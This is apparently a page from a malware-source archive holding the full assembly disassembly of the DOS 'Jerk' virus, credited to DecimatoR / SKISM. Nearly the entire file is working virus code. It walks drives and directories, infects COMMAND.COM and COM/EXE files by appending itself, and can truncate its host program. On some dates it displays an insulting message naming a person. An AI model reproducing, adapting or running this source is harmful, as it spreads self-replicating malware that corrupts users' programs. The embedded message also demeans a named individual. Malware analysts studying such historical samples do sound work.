MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.super.asm
2021-01-12 17:58:25 -06:00

796 lines
33 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ JERK VIRUS ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disassembly by ÛÛ
;ÛÛ ÛÛ
;ÛÛ DecimatoR / SKISM ÛÛ
;ÛÛ NOTE: Although this code compiles with TASM 2.0, it may not function ÛÛ
;ÛÛ in the same manner as the original virus. Test it further. ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 446h ; (009D:0446=10h)
data_2e equ 2Ch ; (8344:002C=0)
data_3e equ 80h ; (8344:0080=0)
data_22e equ 55Ch ; (8344:055C=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
super proc far
start:
call sub_1 ; (010A)
dec bp
;* jnz loc_3 ;*Jump if not zero
db 75h, 72h
jo loc_2 ; Jump if overflow=1
jns $-6Eh ; Jump if not sign
super endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
jmp short loc_1 ; (0115)
db 0CDh, 20h
data_7 dw 9090h, 9090h, 9090h
db 90h
loc_1:
cld ; Clear direction
pushf ; Push flags
call sub_2 ; (0132)
call sub_6 ; (01B1)
call sub_4 ; (0188)
call sub_28 ; (0491)
call sub_27 ; (041B)
call sub_5 ; (01A0)
popf ; Pop flags
pop bp
mov bp,100h
push bp
xor bp,bp ; Zero register
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
call sub_3 ; (017E)
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov di,offset ds:[4F4h] ; (8344:04F4=79h)
mov [bp+di],bx
mov [bp+di],es
push cs
pop es
mov ax,2524h
mov dx,offset int_24h_entry
add dx,bp
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3301h
xor dl,dl ; Zero register
int 21h ; DOS Services ah=function 33h
; ctrl-break flag al=off/on
mov si,offset ds:[10Bh] ; (8344:010B=9)
add si,bp
mov cx,9
mov di,offset ds:[100h] ; (8344:0100=0E8h)
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,1Ah
mov dx,offset data_21 ; (8344:053E=0)
add dx,bp
mov [bp+294h],dx
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov ah,19h
loc_2:
int 21h ; DOS Services ah=function 19h
; get default drive al (0=a:)
mov [bp+4F8h],al
mov bx,0FFFFh
mov [bp+53Ch],bx
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_3:
pop bp
push bp
sub bp,134h
sub_2 endp
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_24h_entry proc far
retn
int_24h_entry endp
db 32h,0C0h,0CFh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov ah,1Ah
mov dx,data_3e ; (8344:0080=0)
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
call sub_7 ; (01DF)
mov ax,2524h
mov si,offset ds:[4F4h] ; (8344:04F4=79h)
lds dx,dword ptr [bp+si] ; Load 32 bit ptr
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
call sub_5 ; (01A0)
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push cs
pop ds
push cs
pop es
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
call sub_7 ; (01DF)
xor ah,ah ; Zero register
mov cx,ax
mov dh,al
locloop_4:
or dl,dl ; Zero ?
jnz loc_5 ; Jump if not zero
mov dl,dh
loc_5:
call sub_8 ; (01E8)
dec dl
jnc loc_6 ; Jump if carry=0
loop locloop_4 ; Loop if cx > 0
jmp short loc_ret_8 ; (01DE)
loc_6:
dec cx
jz loc_7 ; Jump if zero
call sub_9 ; (021F)
jnc loc_ret_8 ; Jump if carry=0
call sub_7 ; (01DF)
call sub_8 ; (01E8)
jc loc_ret_8 ; Jump if carry Set
loc_7:
call sub_9 ; (021F)
loc_ret_8:
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov ah,0Eh
mov dl,[bp+4F8h]
int 21h ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push cx
push dx
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
cmp ax,0FFFFh
je loc_10 ; Jump if equal
mul cx ; dx:ax = reg * ax
mul bx ; dx:ax = reg * ax
cmp ax,800h
jae loc_9 ; Jump if above or =
or dx,dx ; Zero ?
jz loc_10 ; Jump if zero
loc_9:
pop dx
push dx
dec dl
mov ah,0Eh
int 21h ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
mov ah,5Bh ; '['
xor cx,cx ; Zero register
mov dx,offset data_15+3 ; (8344:04FF=0)
add dx,bp
int 21h ; DOS Services ah=function 5Bh
; create new file, name @ ds:dx
jc loc_11 ; Jump if carry Set
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
jmp short loc_11 ; (021C)
loc_10:
stc ; Set carry flag
loc_11:
pop dx
pop cx
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
call sub_13 ; (0297)
mov ah,3Bh ; ';'
mov dx,offset ds:[4F9h] ; (8344:04F9=2)
add dx,bp
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
call sub_10 ; (0232)
call sub_14 ; (02AB)
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
call sub_11 ; (025E)
jc loc_ret_14 ; Jump if carry Set
call sub_13 ; (0297)
call sub_18 ; (02EE)
jnc loc_13 ; Jump if carry=0
call sub_15 ; (02B8)
jc loc_13 ; Jump if carry Set
loc_12:
mov ah,3Bh ; ';'
mov dx,data_22e ; (8344:055C=0)
add dx,bp
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
call sub_10 ; (0232)
jnc loc_13 ; Jump if carry=0
call sub_14 ; (02AB)
call sub_16 ; (02D7)
jnc loc_12 ; Jump if carry=0
loc_13:
call sub_12 ; (027C)
loc_ret_14:
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov di,[bp+294h]
cmp di,0FA00h
cmc ; Complement carry
jc loc_ret_15 ; Jump if carry Set
add di,offset ds:[100h] ; (8344:0100=0E8h)
mov [bp+294h],di
mov si,offset data_21 ; (8344:053E=0)
add si,bp
mov cx,80h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
loc_ret_15:
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
pushf ; Push flags
mov si,[bp+294h]
sub si,100h
xchg si,[bp+294h]
mov di,offset data_21 ; (8344:053E=0)
add di,bp
mov cx,80h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
popf ; Pop flags
retn
sub_12 endp
db 0F1h, 69h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
mov di,[bp+294h]
add di,data_3e ; (8344:0080=0)
mov al,5Ch ; '\'
stosb ; Store al to es:[di]
mov ah,47h ; 'G'
mov si,di
xor dl,dl ; Zero register
int 21h ; DOS Services ah=function 47h
; get present dir,drive dl,1=a:
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
mov ah,3Bh ; ';'
mov dx,[bp+294h]
add dx,data_3e ; (8344:0080=0)
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
mov cx,12h
mov dx,offset ds:[4FBh] ; (8344:04FB=0)
call sub_20 ; (0343)
jc loc_ret_18 ; Jump if carry Set
call sub_17 ; (02E0)
loc_16:
jc loc_ret_18 ; Jump if carry Set
mov al,2Eh ; '.'
cmp al,[bp+55Ch]
jne loc_17 ; Jump if not equal
call sub_16 ; (02D7)
jmp short loc_16 ; (02C6)
loc_17:
clc ; Clear carry flag
loc_ret_18:
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
call sub_21 ; (034A)
jc loc_ret_19 ; Jump if carry Set
call sub_17 ; (02E0)
loc_ret_19:
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
mov cl,10h
loc_20:
test cl,[bp+553h]
jnz loc_ret_21 ; Jump if not zero
call sub_21 ; (034A)
jnc loc_20 ; Jump if carry=0
loc_ret_21:
retn
sub_17 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_18 proc near
push word ptr [bp+4EAh]
mov dx,offset data_15+0Dh ; (8344:0509=0)
xor al,al ; Zero register
call sub_19 ; (0313)
jnc loc_22 ; Jump if carry=0
mov dx,offset data_15+19h ; (8344:0515=0)
xor al,al ; Zero register
call sub_19 ; (0313)
jnc loc_22 ; Jump if carry=0
mov dx,offset data_15+1Fh ; (8344:051B=0)
mov al,0FFh
call sub_19 ; (0313)
loc_22:
pop word ptr [bp+4EAh]
retn
sub_18 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_19 proc near
mov [bp+4EAh],al
mov cx,23h
call sub_20 ; (0343)
jc loc_ret_27 ; Jump if carry Set
mov cx,3
loc_23:
loop locloop_24 ; Loop if cx > 0
stc ; Set carry flag
retn
locloop_24:
call sub_22 ; (034F)
jc loc_25 ; Jump if carry Set
call sub_25 ; (03A9)
jc loc_25 ; Jump if carry Set
call sub_26 ; (03DF)
jmp short loc_26 ; (033E)
loc_25:
call sub_23 ; (0371)
call sub_21 ; (034A)
jnc loc_23 ; Jump if carry=0
retn
loc_26:
call sub_23 ; (0371)
clc ; Clear carry flag
loc_ret_27:
retn
sub_19 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_20 proc near
mov ah,4Eh ; 'N'
add dx,bp
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
retn
sub_20 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_21 proc near
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
retn
sub_21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_22 proc near
push cx
xor ax,ax ; Zero register
cmp ax,[bp+55Ah]
jb loc_28 ; Jump if below
mov ax,0F000h
cmp ax,[bp+558h]
jb loc_28 ; Jump if below
mov ax,9
cmp [bp+558h],ax
jb loc_28 ; Jump if below
mov cl,0
call sub_24 ; (039C)
loc_28:
pop cx
retn
sub_22 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_23 proc near
push cx
mov bx,[bp+53Ch]
cmp bx,0FFFFh
je loc_29 ; Jump if equal
mov ax,5701h
mov cx,[bp+554h]
mov dx,[bp+556h]
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov bx,0FFFFh
mov [bp+53Ch],bx
loc_29:
mov cl,[bp+553h]
call sub_24 ; (039C)
pop cx
retn
sub_23 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_24 proc near
mov ax,4301h
xor ch,ch ; Zero register
mov dx,data_22e ; (8344:055C=0)
add dx,bp
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
retn
sub_24 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_25 proc near
push cx
mov dx,data_22e ; (8344:055C=0)
add dx,bp
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_30 ; Jump if carry Set
mov [bp+53Ch],ax
mov dx,offset ds:[10Bh] ; (8344:010B=9)
add dx,bp
mov cx,9
mov bx,ax
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov cx,6
mov si,offset ds:[4EEh] ; (8344:04EE=0)
add si,bp
mov di,offset data_7 ; (8344:010E=90h)
add di,bp
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_31 ; Jump if not zero
stc ; Set carry flag
loc_30:
pop cx
retn
loc_31:
clc ; Clear carry flag
pop cx
retn
sub_25 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_26 proc near
mov di,offset ds:[4ECh] ; (8344:04EC=0E8h)
add di,bp
mov ax,[bp+558h]
sub ax,3
stosw ; Store ax to es:[di]
mov ax,4200h
mov bx,[bp+53Ch]
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov ah,40h ; '@'
mov cx,9
mov dx,offset data_9 ; (8344:04EB=0)
add dx,bp
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov ah,40h ; '@'
mov cx,435h
mov dx,offset ds:[109h] ; (8344:0109=90h)
add dx,bp
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
retn
sub_26 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_27 proc near
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
test dl,3
jnz loc_ret_33 ; Jump if not zero
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
test dh,3
jnz loc_ret_33 ; Jump if not zero
mov cx,47h
mov si,data_1e ; (009D:0446=10h)
add si,bp
mov di,si
locloop_32:
lodsb ; String [si] to al
sub al,80h
stosb ; Store al to es:[di]
loop locloop_32 ; Loop if cx > 0
mov ah,9
mov dx,data_1e ; (009D:0446=10h)
add dx,bp
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_ret_33:
data_8 db 'Craig Murphy calls himself SUPER'
db 'HACKER but he''s just a talentle'
db 'ss Jerk!', 0Dh, 0Ah, '$'
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_28:
mov al,0FFh
cmp al,[bp+4EAh]
je loc_34 ; Jump if equal
retn
loc_34:
push word ptr ds:data_2e ; (8344:002C=0)
pop es
xor di,di ; Zero register
mov al,1
loc_35:
scasb ; Scan es:[di] for al
jnz loc_35 ; Jump if not zero
inc di
push es
pop ds
mov dx,di
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jc loc_36 ; Jump if carry Set
mov es,cx
mov ax,4301h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jc loc_36 ; Jump if carry Set
mov ah,3Ch ; '<'
int 21h ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
push ds
push dx
push cs
pop ds
mov dx,offset ds:[100h] ; (8344:0100=0E8h)
mov bx,ax
mov ah,40h ; '@'
mov cx,9
add cx,bp
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
pop dx
pop ds
mov cx,es
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_36:
push cs
pop ds
mov ah,9
mov dx,offset data_15+25h ; (8344:0521=0)
add dx,bp
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov ah,4Ch ; 'L'
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
data_9 db 0
loc_37:
call sub_29 ; (04F6)
dec bp
jnz $+74h ; Jump if not zero
jo $+6Ah ; Jump if overflow=1
jns loc_37 ; Jump if not sign
sub_27 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_29 proc near
popf ; Pop flags
add [bx+si],al
add bl,[si+0]
data_15 db '*.*', 0
db '\^^^^^^^^', 0
db 'COMMAND.COM', 0
db '*.COM', 0
db '*.EXE', 0
db 'Bad command or file name', 0Dh, 0Ah
db '$'
db 6
data_21 db 0
sub_29 endp
seg_a ends
end start